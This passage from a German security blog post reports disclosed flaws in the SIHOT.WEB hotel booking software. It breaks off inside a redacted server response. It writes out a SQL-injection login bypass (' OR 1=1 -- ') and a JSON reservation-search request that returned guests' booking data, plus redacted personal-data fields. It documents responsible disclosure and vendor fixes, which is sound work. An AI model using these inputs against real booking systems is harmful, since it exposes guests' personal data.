&lt;p&gt;Außerdem geht das nicht nur mit den Buchungen von heute, sondern viele Jahre zurück, teilweise sogar bis 2005.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/sihot/archivesgovpaper.webp&#34;
         alt=&#34;FIXME&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Würde uns in einem Hotel so bereitwillig der Reservierungsordner in die Hand gedrückt, würden wir vermutlich lautstark darauf hinweisen, dass die Rezeption eeetwas zu lax mit den Buchungsinfos umgeht.
Und so machen wir es auch hier: Wir schreiben alles fein säuberlich auf und sagen der GUBSE AG, die diese Software entwickelt, Bescheid.
So eine leicht zu findende und gleichzeitig gefährliche Sicherheitslücke sollte schließlich gar nicht existieren, aber jetzt auf jeden Fall schnell geschlossen werden.&lt;/p&gt;
&lt;p&gt;Die Reaktion des Unternehmen kommt auch prompt: Nach weniger als 36 Stunden antwortet uns das Unternehmen, dankt für die Meldung und sagt, dass die Lücke bereits fast überall geschlossen ist und in wenigen Stunden überall geschlossen sein wird.&lt;/p&gt;
&lt;h2 id=&#34;wie-sieht-es-wohl-in-den-anderen-zimmern-aus&#34;&gt;Wie sieht es wohl in den anderen Zimmern aus?&lt;/h2&gt;
&lt;p&gt;Eigentlich könnte unser Ausflug hier zu Ende sein:
Wir sind mal wieder über eine Lücke gestolpert, haben sie gemeldet und der Hersteller hat sie behoben.
Dann können wir uns ja jetzt &lt;em&gt;wirklich&lt;/em&gt; endlich in unser Bett legen und entspannen, oder?&lt;/p&gt;
&lt;p&gt;Leider nicht, denn das ist nicht die einzige Lücke bei &lt;em&gt;SIHOT&lt;/em&gt;, über die wir gestolpert sind.
Die Anderen gibt es jetzt im Schnelldurchlauf. 🏃💨&lt;/p&gt;
&lt;p&gt;Und wer die gruseligen Details garnicht alle sehen will, kann &lt;a href=&#34;#nach-luecken&#34;&gt;hier zum Abschnitt danach springen&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;wir-sind-admin-in-rheinland-pfalz-dem-saarland-und-berlin&#34;&gt;Wir sind Admin in Rheinland-Pfalz, dem Saarland und Berlin&lt;/h2&gt;
&lt;p&gt;Eine wohl ziemlich alte Version von &lt;em&gt;SIHOT.WEB&lt;/em&gt; nutzen &lt;em&gt;dieJugendherbergen&lt;/em&gt;, der Zusammenschluss der DJH-Jugendherbergen in Rheinland-Pfalz, dem Saarland - und Berlin-Ostkreuz.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/sihot/jugendadmin.png&#34;
         alt=&#34;Screenshot der dieJugendherbergen-Admin-Login-Seite, es wird nach Login und Passwort gefragt.&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Diese Version ist nicht nur ziemlich alt, sondern auch reichlich unsicher.
Durch eine &lt;a href=&#34;https://de.wikipedia.org/wiki/SQL-Injection&#34;&gt;SQL-Injection&lt;/a&gt; kann sich jede*r als Admin einloggen.
Einfach als Login &lt;code&gt;&#39; OR 1=1 -- &#39;&lt;/code&gt; sowie ein beliebiges Passwort eingeben und schon ist man erfolgreich angemeldet &amp;ndash; und kann tun, was ein Admin halt so tun kann, nämlich: alles.
So lassen sich auch dort Name, Adresse, E-Mail-Adresse, Telefonnummer, Preise und die Namen aller Gäste abrufen.&lt;/p&gt;
&lt;p&gt;Nach der Meldung hat die GUBSE AG die Jugendherbergen über die Sicherheitslücke informiert und den verwundbaren Teil des Portals abgeschaltet.&lt;/p&gt;
&lt;h2 id=&#34;habt-ihr-nicht-jemanden-vergessen&#34;&gt;Habt ihr nicht jemanden vergessen?&lt;/h2&gt;
&lt;p&gt;Das Unternehmen versichert uns, dass die Lücke in der Reservierungssuche überall geschlossen ist.
Überall? Nein, &lt;del&gt;ein kleines gallisches Dorf&lt;/del&gt; eine riesige Münchner Hotel-Kette ist weiter verwundbar.&lt;/p&gt;
&lt;p&gt;Denn auch Motel One nutzt &lt;em&gt;SIHOT.WEB&lt;/em&gt;.
Zwar nutzt Motel One für die Online-Buchung ein anderes, moderner aussehendes System, doch unter &lt;code&gt;https://paymentservice.motel-one.com/SIHOTWeb/client/&lt;/code&gt; findet sich trotzdem eine &lt;em&gt;SIHOT.WEB&lt;/em&gt;-Instanz, auf der die Lücken weiterhin bestehen. Mit gravierenden Auswirkungen: Nach unseren Schätzungen waren hier über 30 Mio. Reservierungen abrufbar.&lt;/p&gt;
&lt;p&gt;Nachdem wir den Hersteller auch darauf hingewiesen haben, wurde die Lücke am nächsten Tag auch dort geschlossen.&lt;/p&gt;
&lt;h2 id=&#34;ich-hätte-gerne-das-gleiche-zimmer-nochmal&#34;&gt;Ich hätte gerne das gleiche Zimmer nochmal&lt;/h2&gt;
&lt;p&gt;Die Buchungsplattform &lt;em&gt;SIHOT.WEB&lt;/em&gt; kommuniziert nicht nur über den Endpunkt &lt;code&gt;dataServlet&lt;/code&gt; mit dem Server, sondern auch über einen zweiten Endpunkt namens &lt;code&gt;reservationServlet&lt;/code&gt;.
Die Anfragen an diesen sehen fast identisch aus, wie die an den &lt;code&gt;dataServlet&lt;/code&gt;-Endpunkt.
Und obwohl das Unternehmen uns versichert hat, dass die Lücke geschlossen sei, konnte die gleiche Anfrage hier erneut gestellt werden, wir mussten sie nur etwas mehr verpacken:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PMS_REQUEST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_DOCUMENT&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;RES-SEARCH&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FROM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-01-01&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-01-01&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OP_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PAYMENT_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Und zurück kommt die gleiche Liste mit Reservierungen, mit den gleichen Daten, nur ebenfalls etwas mehr verpackt:&lt;/p&gt;
&lt;details&gt;
    &lt;summary&gt;Beispielhafte Antwort des Servers (Klicken zum Ausklappen)&lt;/summary&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TOKEN_RESPONSE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;-1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ONLINE_PAYMENT&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;amount&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;-1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PAYMENT_REVERSE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;rc&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;-1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RESERVATION_RESPONSE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_Document&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MSG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_Version&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;S:&amp;amp;#92;SIHOT&amp;amp;#92;SINETRES.EXE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;Version&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1100.05.00.0244&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ARESLIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RESERVATION&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ZIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER3&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RES_NR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CANCELLATION_POLICY_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXT_KEY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD_BY_RU&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOB&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NIGHTS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERSON&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ZIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISO_LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NUMBEROFCHILDREN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;IDENTIFICATION_NO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FB_COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_SUBNR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███@████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONCOUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NATION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STATUS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;R&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOB&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SALES_CATEGORY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PLACE_OF_BIRTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
